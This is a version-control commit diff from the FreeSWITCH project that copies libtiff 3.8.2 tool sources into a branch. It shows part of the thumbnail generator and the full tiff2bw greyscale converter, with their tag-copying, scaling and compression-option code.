+    { TIFFTAG_DATETIME,			1, TIFF_ASCII },
+    { TIFFTAG_ARTIST,			1, TIFF_ASCII },
+    { TIFFTAG_HOSTCOMPUTER,		1, TIFF_ASCII },
+    { TIFFTAG_WHITEPOINT,		1, TIFF_RATIONAL },
+    { TIFFTAG_PRIMARYCHROMATICITIES,	(uint16) -1,TIFF_RATIONAL },
+    { TIFFTAG_HALFTONEHINTS,		2, TIFF_SHORT },
+    { TIFFTAG_BADFAXLINES,		1, TIFF_LONG },
+    { TIFFTAG_CLEANFAXDATA,		1, TIFF_SHORT },
+    { TIFFTAG_CONSECUTIVEBADFAXLINES,	1, TIFF_LONG },
+    { TIFFTAG_INKSET,			1, TIFF_SHORT },
+    { TIFFTAG_INKNAMES,			1, TIFF_ASCII },
+    { TIFFTAG_DOTRANGE,			2, TIFF_SHORT },
+    { TIFFTAG_TARGETPRINTER,		1, TIFF_ASCII },
+    { TIFFTAG_SAMPLEFORMAT,		1, TIFF_SHORT },
+    { TIFFTAG_YCBCRCOEFFICIENTS,	(uint16) -1,TIFF_RATIONAL },
+    { TIFFTAG_YCBCRSUBSAMPLING,		2, TIFF_SHORT },
+    { TIFFTAG_YCBCRPOSITIONING,		1, TIFF_SHORT },
+    { TIFFTAG_REFERENCEBLACKWHITE,	(uint16) -1,TIFF_RATIONAL },
+    { TIFFTAG_EXTRASAMPLES,		(uint16) -1, TIFF_SHORT },
+};
+#define	NTAGS	(sizeof (tags) / sizeof (tags[0]))
+
+static void
+cpTags(TIFF* in, TIFF* out)
+{
+    struct cpTag *p;
+    for (p = tags; p < &tags[NTAGS]; p++)
+	cpTag(in, out, p->tag, p->count, p->type);
+}
+#undef NTAGS
+
+static int
+cpStrips(TIFF* in, TIFF* out)
+{
+    tsize_t bufsize  = TIFFStripSize(in);
+    unsigned char *buf = (unsigned char *)_TIFFmalloc(bufsize);
+
+    if (buf) {
+	tstrip_t s, ns = TIFFNumberOfStrips(in);
+	tsize_t *bytecounts;
+
+	TIFFGetField(in, TIFFTAG_STRIPBYTECOUNTS, &bytecounts);
+	for (s = 0; s < ns; s++) {
+	    if (bytecounts[s] > bufsize) {
+		buf = (unsigned char *)_TIFFrealloc(buf, bytecounts[s]);
+		if (!buf)
+		    goto bad;
+		bufsize = bytecounts[s];
+	    }
+	    if (TIFFReadRawStrip(in, s, buf, bytecounts[s]) < 0 ||
+		TIFFWriteRawStrip(out, s, buf, bytecounts[s]) < 0) {
+		_TIFFfree(buf);
+		return 0;
+	    }
+	}
+	_TIFFfree(buf);
+	return 1;
+    }
+
+bad:
+	TIFFError(TIFFFileName(in),
+		  "Can't allocate space for strip buffer.");
+	return 0;
+}
+
+static int
+cpTiles(TIFF* in, TIFF* out)
+{
+    tsize_t bufsize = TIFFTileSize(in);
+    unsigned char *buf = (unsigned char *)_TIFFmalloc(bufsize);
+
+    if (buf) {
+	ttile_t t, nt = TIFFNumberOfTiles(in);
+	tsize_t *bytecounts;
+
+	TIFFGetField(in, TIFFTAG_TILEBYTECOUNTS, &bytecounts);
+	for (t = 0; t < nt; t++) {
+	    if (bytecounts[t] > bufsize) {
+		buf = (unsigned char *)_TIFFrealloc(buf, bytecounts[t]);
+		if (!buf)
+		    goto bad;
+		bufsize = bytecounts[t];
+	    }
+	    if (TIFFReadRawTile(in, t, buf, bytecounts[t]) < 0 ||
+		TIFFWriteRawTile(out, t, buf, bytecounts[t]) < 0) {
+		_TIFFfree(buf);
+		return 0;
+	    }
+	}
+	_TIFFfree(buf);
+	return 1;
+    }
+
+bad:
+    TIFFError(TIFFFileName(in),
+		  "Can't allocate space for tile buffer.");
+	return (0);
+}
+
+static int
+cpIFD(TIFF* in, TIFF* out)
+{
+    cpTags(in, out);
+    if (TIFFIsTiled(in)) {
+	if (!cpTiles(in, out))
+	    return (0);
+    } else {
+	if (!cpStrips(in, out))
+	    return (0);
+    }
+    return (1);
+}
+
+static	uint16	photometric;		/* current photometric of raster */
+static	uint16	filterWidth;		/* filter width in pixels */
+static	uint32	stepSrcWidth;		/* src image stepping width */
+static	uint32	stepDstWidth;		/* dest stepping width */
+static	uint8* src0;			/* horizontal bit stepping (start) */
+static	uint8* src1;			/* horizontal bit stepping (middle) */
+static	uint8* src2;			/* horizontal bit stepping (end) */
+static	uint32* rowoff;			/* row offset for stepping */
+static	uint8 cmap[256];		/* colormap indexes */
+static	uint8 bits[256];		/* count of bits set */
+
+static void
+setupBitsTables()
+{
+    int i;
+    for (i = 0; i < 256; i++) {
+	int n = 0;
+	if (i&0x01) n++;
+	if (i&0x02) n++;
+	if (i&0x04) n++;
+	if (i&0x08) n++;
+	if (i&0x10) n++;
+	if (i&0x20) n++;
+	if (i&0x40) n++;
+	if (i&0x80) n++;
+	bits[i] = n;
+    }
+}
+
+static int clamp(float v, int low, int high)
+    { return (v < low ? low : v > high ? high : (int)v); }
+
+#ifndef M_E
+#define M_E		2.7182818284590452354
+#endif
+
+static void
+expFill(float pct[], uint32 p, uint32 n)
+{
+    uint32 i;
+    uint32 c = (p * n) / 100;
+    for (i = 1; i < c; i++)
+	pct[i] = (float) (1-exp(i/((double)(n-1)))/ M_E);
+    for (; i < n; i++)
+	pct[i] = 0.;
+}
+
+static void
+setupCmap()
+{
+    float pct[256];			/* known to be large enough */
+    uint32 i;
+    pct[0] = 1;				/* force white */
+    switch (contrast) {
+    case EXP50: expFill(pct, 50, 256); break;
+    case EXP60:	expFill(pct, 60, 256); break;
+    case EXP70:	expFill(pct, 70, 256); break;
+    case EXP80:	expFill(pct, 80, 256); break;
+    case EXP90:	expFill(pct, 90, 256); break;
+    case EXP:	expFill(pct, 100, 256); break;
+    case LINEAR:
+	for (i = 1; i < 256; i++)
+	    pct[i] = 1-((float)i)/(256-1);
+	break;
+    }
+    switch (photometric) {
+    case PHOTOMETRIC_MINISWHITE:
+	for (i = 0; i < 256; i++)
+	    cmap[i] = clamp(255*pct[(256-1)-i], 0, 255);
+	break;
+    case PHOTOMETRIC_MINISBLACK:
+	for (i = 0; i < 256; i++)
+	    cmap[i] = clamp(255*pct[i], 0, 255);
+	break;
+    }
+}
+
+static void
+initScale()
+{
+    src0 = (uint8*) _TIFFmalloc(sizeof (uint8) * tnw);
+    src1 = (uint8*) _TIFFmalloc(sizeof (uint8) * tnw);
+    src2 = (uint8*) _TIFFmalloc(sizeof (uint8) * tnw);
+    rowoff = (uint32*) _TIFFmalloc(sizeof (uint32) * tnw);
+    filterWidth = 0;
+    stepDstWidth = stepSrcWidth = 0;
+    setupBitsTables();
+}
+
+/*
+ * Calculate the horizontal accumulation parameteres
+ * according to the widths of the src and dst images.
+ */
+static void
+setupStepTables(uint32 sw)
+{
+    if (stepSrcWidth != sw || stepDstWidth != tnw) {
+	int step = sw;
+	int limit = tnw;
+	int err = 0;
+	uint32 sx = 0;
+	uint32 x;
+	int fw;
+	uint8 b;
+	for (x = 0; x < tnw; x++) {
+	    uint32 sx0 = sx;
+	    err += step;
+	    while (err >= limit) {
+		err -= limit;
+		sx++;
+	    }
+	    rowoff[x] = sx0 >> 3;
+	    fw = sx - sx0;		/* width */
+	    b = (fw < 8) ? 0xff<<(8-fw) : 0xff;
+	    src0[x] = b >> (sx0&7);
+	    fw -= 8 - (sx0&7);
+	    if (fw < 0)
+		fw = 0;
+	    src1[x] = fw >> 3;
+	    fw -= (fw>>3)<<3;
+	    src2[x] = 0xff << (8-fw);
+	}
+	stepSrcWidth = sw;
+	stepDstWidth = tnw;
+    }
+}
+
+static void
+setrow(uint8* row, uint32 nrows, const uint8* rows[])
+{
+    uint32 x;
+    uint32 area = nrows * filterWidth;
+    for (x = 0; x < tnw; x++) {
+	uint32 mask0 = src0[x];
+	uint32 fw = src1[x];
+	uint32 mask1 = src1[x];
+	uint32 off = rowoff[x];
+	uint32 acc = 0;
+	uint32 y, i;
+	for (y = 0; y < nrows; y++) {
+	    const uint8* src = rows[y] + off;
+	    acc += bits[*src++ & mask0];
+	    switch (fw) {
+	    default:
+		for (i = fw; i > 8; i--)
+		    acc += bits[*src++];
+		/* fall thru... */
+	    case 8: acc += bits[*src++];
+	    case 7: acc += bits[*src++];
+	    case 6: acc += bits[*src++];
+	    case 5: acc += bits[*src++];
+	    case 4: acc += bits[*src++];
+	    case 3: acc += bits[*src++];
+	    case 2: acc += bits[*src++];
+	    case 1: acc += bits[*src++];
+	    case 0: break;
+	    }
+	    acc += bits[*src & mask1];
+	}
+	*row++ = cmap[(255*acc)/area];
+    }
+}
+
+/*
+ * Install the specified image.  The
+ * image is resized to fit the display page using
+ * a box filter.  The resultant pixels are mapped
+ * with a user-selectable contrast curve.
+ */
+static void
+setImage1(const uint8* br, uint32 rw, uint32 rh)
+{
+    int step = rh;
+    int limit = tnh;
+    int err = 0;
+    int bpr = TIFFhowmany8(rw);
+    int sy = 0;
+    uint8* row = thumbnail;
+    uint32 dy;
+    for (dy = 0; dy < tnh; dy++) {
+	const uint8* rows[256];
+	uint32 nrows = 1;
+	fprintf(stderr, "bpr=%d, sy=%d, bpr*sy=%d\n", bpr, sy, bpr*sy);
+	rows[0] = br + bpr*sy;
+	err += step;
+	while (err >= limit) {
+	    err -= limit;
+	    sy++;
+	    if (err >= limit)
+		rows[nrows++] = br + bpr*sy;
+	}
+	setrow(row, nrows, rows);
+	row += tnw;
+    }
+}
+
+static void
+setImage(const uint8* br, uint32 rw, uint32 rh)
+{
+    filterWidth = (uint16) ceil((double) rw / (double) tnw);
+    setupStepTables(rw);
+    setImage1(br, rw, rh);
+}
+
+static int
+generateThumbnail(TIFF* in, TIFF* out)
+{
+    unsigned char* raster;
+    unsigned char* rp;
+    uint32 sw, sh, rps;
+    uint16 bps, spp;
+    tsize_t rowsize, rastersize;
+    tstrip_t s, ns = TIFFNumberOfStrips(in);
+    uint32 diroff[1];
+
+    TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &sw);
+    TIFFGetField(in, TIFFTAG_IMAGELENGTH, &sh);
+    TIFFGetFieldDefaulted(in, TIFFTAG_BITSPERSAMPLE, &bps);
+    TIFFGetFieldDefaulted(in, TIFFTAG_SAMPLESPERPIXEL, &spp);
+    TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps);
+    if (spp != 1 || bps != 1)
+	return 0;
+    rowsize = TIFFScanlineSize(in);
+    rastersize = sh * rowsize;
+    fprintf(stderr, "rastersize=%u\n", (unsigned int)rastersize);
+    raster = (unsigned char*)_TIFFmalloc(rastersize);
+    if (!raster) {
+	    TIFFError(TIFFFileName(in),
+		      "Can't allocate space for raster buffer.");
+	    return 0;
+    }
+    rp = raster;
+    for (s = 0; s < ns; s++) {
+	(void) TIFFReadEncodedStrip(in, s, rp, -1);
+	rp += rps * rowsize;
+    }
+    TIFFGetField(in, TIFFTAG_PHOTOMETRIC, &photometric);
+    setupCmap();
+    setImage(raster, sw, sh);
+    _TIFFfree(raster);
+
+    TIFFSetField(out, TIFFTAG_SUBFILETYPE, FILETYPE_REDUCEDIMAGE);
+    TIFFSetField(out, TIFFTAG_IMAGEWIDTH, (uint32) tnw);
+    TIFFSetField(out, TIFFTAG_IMAGELENGTH, (uint32) tnh);
+    TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, (uint16) 8);
+    TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, (uint16) 1);
+    TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_PACKBITS);
+    TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISWHITE);
+    TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+    TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+    cpTag(in, out, TIFFTAG_SOFTWARE,		(uint16) -1, TIFF_ASCII);
+    cpTag(in, out, TIFFTAG_IMAGEDESCRIPTION,	(uint16) -1, TIFF_ASCII);
+    cpTag(in, out, TIFFTAG_DATETIME,		(uint16) -1, TIFF_ASCII);
+    cpTag(in, out, TIFFTAG_HOSTCOMPUTER,	(uint16) -1, TIFF_ASCII);
+    diroff[0] = 0;
+    TIFFSetField(out, TIFFTAG_SUBIFD, 1, diroff);
+    return (TIFFWriteEncodedStrip(out, 0, thumbnail, tnw*tnh) != -1 &&
+            TIFFWriteDirectory(out) != -1);
+}
+
+char* stuff[] = {
+"usage: thumbnail [options] input.tif output.tif",
+"where options are:",
+" -h #		specify thumbnail image height (default is 274)",
+" -w #		specify thumbnail image width (default is 216)",
+"",
+" -c linear	use linear contrast curve",
+" -c exp50	use 50% exponential contrast curve",
+" -c exp60	use 60% exponential contrast curve",
+" -c exp70	use 70% exponential contrast curve",
+" -c exp80	use 80% exponential contrast curve",
+" -c exp90	use 90% exponential contrast curve",
+" -c exp		use pure exponential contrast curve",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2bw.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2bw.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiff2bw.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2bw.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2bw.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,460 @@
+/* $Id: tiff2bw.c,v 1.12 2006/01/11 17:03:43 fwarmerdam Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#define	streq(a,b)	(strcmp((a),(b)) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+/* x% weighting -> fraction of full color */
+#define	PCT(x)	(((x)*255+127)/100)
+int	RED = PCT(30);		/* 30% */
+int	GREEN = PCT(59);	/* 59% */
+int	BLUE = PCT(11);		/* 11% */
+
+static	void usage(void);
+static	int processCompressOptions(char*);
+
+static void
+compresscontig(unsigned char* out, unsigned char* rgb, uint32 n)
+{
+	register int v, red = RED, green = GREEN, blue = BLUE;
+
+	while (n-- > 0) {
+		v = red*(*rgb++);
+		v += green*(*rgb++);
+		v += blue*(*rgb++);
+		*out++ = v>>8;
+	}
+}
+
+static void
+compresssep(unsigned char* out,
+	    unsigned char* r, unsigned char* g, unsigned char* b, uint32 n)
+{
+	register uint32 red = RED, green = GREEN, blue = BLUE;
+
+	while (n-- > 0)
+		*out++ = (unsigned char)
+			((red*(*r++) + green*(*g++) + blue*(*b++)) >> 8);
+}
+
+static int
+checkcmap(TIFF* tif, int n, uint16* r, uint16* g, uint16* b)
+{
+	while (n-- > 0)
+		if (*r++ >= 256 || *g++ >= 256 || *b++ >= 256)
+			return (16);
+	TIFFWarning(TIFFFileName(tif), "Assuming 8-bit colormap");
+	return (8);
+}
+
+static void
+compresspalette(unsigned char* out, unsigned char* data, uint32 n, uint16* rmap, uint16* gmap, uint16* bmap)
+{
+	register int v, red = RED, green = GREEN, blue = BLUE;
+
+	while (n-- > 0) {
+		unsigned int ix = *data++;
+		v = red*rmap[ix];
+		v += green*gmap[ix];
+		v += blue*bmap[ix];
+		*out++ = v>>8;
+	}
+}
+
+static	uint16 compression = (uint16) -1;
+static	uint16 predictor = 0;
+static	int jpegcolormode = JPEGCOLORMODE_RGB;
+static	int quality = 75;		/* JPEG quality */
+
+static	void cpTags(TIFF* in, TIFF* out);
+
+int
+main(int argc, char* argv[])
+{
+	uint32 rowsperstrip = (uint32) -1;
+	TIFF *in, *out;
+	uint32 w, h;
+	uint16 samplesperpixel;
+	uint16 bitspersample;
+	uint16 config;
+	uint16 photometric;
+	uint16* red;
+	uint16* green;
+	uint16* blue;
+	tsize_t rowsize;
+	register uint32 row;
+	register tsample_t s;
+	unsigned char *inbuf, *outbuf;
+	char thing[1024];
+	int c;
+	extern int optind;
+	extern char *optarg;
+
+	while ((c = getopt(argc, argv, "c:r:R:G:B:")) != -1)
+		switch (c) {
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case 'R':
+			RED = PCT(atoi(optarg));
+			break;
+		case 'G':
+			GREEN = PCT(atoi(optarg));
+			break;
+		case 'B':
+			BLUE = PCT(atoi(optarg));
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind < 2)
+		usage();
+	in = TIFFOpen(argv[optind], "r");
+	if (in == NULL)
+		return (-1);
+	photometric = 0;
+	TIFFGetField(in, TIFFTAG_PHOTOMETRIC, &photometric);
+	if (photometric != PHOTOMETRIC_RGB && photometric != PHOTOMETRIC_PALETTE ) {
+		fprintf(stderr,
+	    "%s: Bad photometric; can only handle RGB and Palette images.\n",
+		    argv[optind]);
+		return (-1);
+	}
+	TIFFGetField(in, TIFFTAG_SAMPLESPERPIXEL, &samplesperpixel);
+	if (samplesperpixel != 1 && samplesperpixel != 3) {
+		fprintf(stderr, "%s: Bad samples/pixel %u.\n",
+		    argv[optind], samplesperpixel);
+		return (-1);
+	}
+	TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bitspersample);
+	if (bitspersample != 8) {
+		fprintf(stderr,
+		    " %s: Sorry, only handle 8-bit samples.\n", argv[optind]);
+		return (-1);
+	}
+	TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &w);
+	TIFFGetField(in, TIFFTAG_IMAGELENGTH, &h);
+	TIFFGetField(in, TIFFTAG_PLANARCONFIG, &config);
+
+	out = TIFFOpen(argv[optind+1], "w");
+	if (out == NULL)
+		return (-1);
+	TIFFSetField(out, TIFFTAG_IMAGEWIDTH, w);
+	TIFFSetField(out, TIFFTAG_IMAGELENGTH, h);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, 8);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, 1);
+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+	cpTags(in, out);
+	if (compression != (uint16) -1) {
+		TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+		switch (compression) {
+		case COMPRESSION_JPEG:
+			TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
+			TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+			break;
+		case COMPRESSION_LZW:
+		case COMPRESSION_DEFLATE:
+			if (predictor != 0)
+				TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+			break;
+		}
+	}
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISBLACK);
+	sprintf(thing, "B&W version of %s", argv[optind]);
+	TIFFSetField(out, TIFFTAG_IMAGEDESCRIPTION, thing);
+	TIFFSetField(out, TIFFTAG_SOFTWARE, "tiff2bw");
+	outbuf = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(out));
+	TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
+	    TIFFDefaultStripSize(out, rowsperstrip));
+
+#define	pack(a,b)	((a)<<8 | (b))
+	switch (pack(photometric, config)) {
+	case pack(PHOTOMETRIC_PALETTE, PLANARCONFIG_CONTIG):
+	case pack(PHOTOMETRIC_PALETTE, PLANARCONFIG_SEPARATE):
+		TIFFGetField(in, TIFFTAG_COLORMAP, &red, &green, &blue);
+		/*
+		 * Convert 16-bit colormap to 8-bit (unless it looks
+		 * like an old-style 8-bit colormap).
+		 */
+		if (checkcmap(in, 1<<bitspersample, red, green, blue) == 16) {
+			int i;
+#define	CVT(x)		(((x) * 255L) / ((1L<<16)-1))
+			for (i = (1<<bitspersample)-1; i >= 0; i--) {
+				red[i] = CVT(red[i]);
+				green[i] = CVT(green[i]);
+				blue[i] = CVT(blue[i]);
+			}
+#undef CVT
+		}
+		inbuf = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(in));
+		for (row = 0; row < h; row++) {
+			if (TIFFReadScanline(in, inbuf, row, 0) < 0)
+				break;
+			compresspalette(outbuf, inbuf, w, red, green, blue);
+			if (TIFFWriteScanline(out, outbuf, row, 0) < 0)
+				break;
+		}
+		break;
+	case pack(PHOTOMETRIC_RGB, PLANARCONFIG_CONTIG):
+		inbuf = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(in));
+		for (row = 0; row < h; row++) {
+			if (TIFFReadScanline(in, inbuf, row, 0) < 0)
+				break;
+			compresscontig(outbuf, inbuf, w);
+			if (TIFFWriteScanline(out, outbuf, row, 0) < 0)
+				break;
+		}
+		break;
+	case pack(PHOTOMETRIC_RGB, PLANARCONFIG_SEPARATE):
+		rowsize = TIFFScanlineSize(in);
+		inbuf = (unsigned char *)_TIFFmalloc(3*rowsize);
+		for (row = 0; row < h; row++) {
+			for (s = 0; s < 3; s++)
+				if (TIFFReadScanline(in,
+				    inbuf+s*rowsize, row, s) < 0)
+					 return (-1);
+			compresssep(outbuf,
+			    inbuf, inbuf+rowsize, inbuf+2*rowsize, w);
+			if (TIFFWriteScanline(out, outbuf, row, 0) < 0)
+				break;
+		}
+		break;
+	}
+#undef pack
+	TIFFClose(out);
+	return (0);
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none"))
+		compression = COMPRESSION_NONE;
+	else if (streq(opt, "packbits"))
+		compression = COMPRESSION_PACKBITS;
+	else if (strneq(opt, "jpeg", 4)) {
+		char* cp = strchr(opt, ':');
+
+                compression = COMPRESSION_JPEG;
+                while( cp )
+                {
+                    if (isdigit((int)cp[1]))
+			quality = atoi(cp+1);
+                    else if (cp[1] == 'r' )
+			jpegcolormode = JPEGCOLORMODE_RAW;
+                    else
+                        usage();
+
+                    cp = strchr(cp+1,':');
+                }
+	} else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+#define	CopyField(tag, v) \
+    if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+#define	CopyField2(tag, v1, v2) \
+    if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2)
+#define	CopyField3(tag, v1, v2, v3) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3)
+#define	CopyField4(tag, v1, v2, v3, v4) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4)
+
+static void
+cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type)
+{
+	switch (type) {
+	case TIFF_SHORT:
+		if (count == 1) {
+			uint16 shortv;
+			CopyField(tag, shortv);
+		} else if (count == 2) {
+			uint16 shortv1, shortv2;
+			CopyField2(tag, shortv1, shortv2);
+		} else if (count == 4) {
+			uint16 *tr, *tg, *tb, *ta;
+			CopyField4(tag, tr, tg, tb, ta);
+		} else if (count == (uint16) -1) {
+			uint16 shortv1;
+			uint16* shortav;
+			CopyField2(tag, shortv1, shortav);
+		}
+		break;
+	case TIFF_LONG:
+		{ uint32 longv;
+		  CopyField(tag, longv);
+		}
+		break;
+	case TIFF_RATIONAL:
+		if (count == 1) {
+			float floatv;
+			CopyField(tag, floatv);
+		} else if (count == (uint16) -1) {
+			float* floatav;
+			CopyField(tag, floatav);
+		}
+		break;
+	case TIFF_ASCII:
+		{ char* stringv;
+		  CopyField(tag, stringv);
+		}
+		break;
+	case TIFF_DOUBLE:
+		if (count == 1) {
+			double doublev;
+			CopyField(tag, doublev);
+		} else if (count == (uint16) -1) {
+			double* doubleav;
+			CopyField(tag, doubleav);
+		}
+		break;
+          default:
+                TIFFError(TIFFFileName(in),
+                          "Data type %d is not supported, tag %d skipped.",
+                          tag, type);
+	}
+}
+
+#undef CopyField4
+#undef CopyField3
+#undef CopyField2
+#undef CopyField
+
+static struct cpTag {
+	uint16	tag;
+	uint16	count;
+	TIFFDataType type;
+} tags[] = {
+	{ TIFFTAG_SUBFILETYPE,		1, TIFF_LONG },
+	{ TIFFTAG_THRESHHOLDING,	1, TIFF_SHORT },
+	{ TIFFTAG_DOCUMENTNAME,		1, TIFF_ASCII },
+	{ TIFFTAG_IMAGEDESCRIPTION,	1, TIFF_ASCII },
+	{ TIFFTAG_MAKE,			1, TIFF_ASCII },
+	{ TIFFTAG_MODEL,		1, TIFF_ASCII },
+	{ TIFFTAG_MINSAMPLEVALUE,	1, TIFF_SHORT },
+	{ TIFFTAG_MAXSAMPLEVALUE,	1, TIFF_SHORT },
+	{ TIFFTAG_XRESOLUTION,		1, TIFF_RATIONAL },
+	{ TIFFTAG_YRESOLUTION,		1, TIFF_RATIONAL },
+	{ TIFFTAG_PAGENAME,		1, TIFF_ASCII },
+	{ TIFFTAG_XPOSITION,		1, TIFF_RATIONAL },
+	{ TIFFTAG_YPOSITION,		1, TIFF_RATIONAL },
+	{ TIFFTAG_RESOLUTIONUNIT,	1, TIFF_SHORT },
+	{ TIFFTAG_SOFTWARE,		1, TIFF_ASCII },
+	{ TIFFTAG_DATETIME,		1, TIFF_ASCII },
+	{ TIFFTAG_ARTIST,		1, TIFF_ASCII },
+	{ TIFFTAG_HOSTCOMPUTER,		1, TIFF_ASCII },
+	{ TIFFTAG_WHITEPOINT,		1, TIFF_RATIONAL },
+	{ TIFFTAG_PRIMARYCHROMATICITIES,(uint16) -1,TIFF_RATIONAL },
+	{ TIFFTAG_HALFTONEHINTS,	2, TIFF_SHORT },
+	{ TIFFTAG_INKSET,		1, TIFF_SHORT },
+	{ TIFFTAG_DOTRANGE,		2, TIFF_SHORT },
+	{ TIFFTAG_TARGETPRINTER,	1, TIFF_ASCII },
+	{ TIFFTAG_SAMPLEFORMAT,		1, TIFF_SHORT },
+	{ TIFFTAG_YCBCRCOEFFICIENTS,	(uint16) -1,TIFF_RATIONAL },
+	{ TIFFTAG_YCBCRSUBSAMPLING,	2, TIFF_SHORT },
+	{ TIFFTAG_YCBCRPOSITIONING,	1, TIFF_SHORT },
+	{ TIFFTAG_REFERENCEBLACKWHITE,	(uint16) -1,TIFF_RATIONAL },
+	{ TIFFTAG_EXTRASAMPLES,		(uint16) -1, TIFF_SHORT },
+	{ TIFFTAG_SMINSAMPLEVALUE,	1, TIFF_DOUBLE },
+	{ TIFFTAG_SMAXSAMPLEVALUE,	1, TIFF_DOUBLE },
+	{ TIFFTAG_STONITS,		1, TIFF_DOUBLE },
+};
+#define	NTAGS	(sizeof (tags) / sizeof (tags[0]))
+
+static void
+cpTags(TIFF* in, TIFF* out)
+{
+    struct cpTag *p;
+    for (p = tags; p < &tags[NTAGS]; p++)
+	cpTag(in, out, p->tag, p->count, p->type);
+}
+#undef NTAGS
+
+char* stuff[] = {
+"usage: tiff2bw [options] input.tif output.tif",
+"where options are:",
+" -R %		use #% from red channel",
+" -G %		use #% from green channel",
+" -B %		use #% from blue channel",
+"",
+" -r #		make each strip have no more than # rows",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c packbits	compress output with packbits encoding",
+" -c g3[:opts]	compress output with CCITT Group 3 encoding",
+" -c g4		compress output with CCITT Group 4 encoding",
+" -c none	use no compression algorithm on output",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2pdf.c

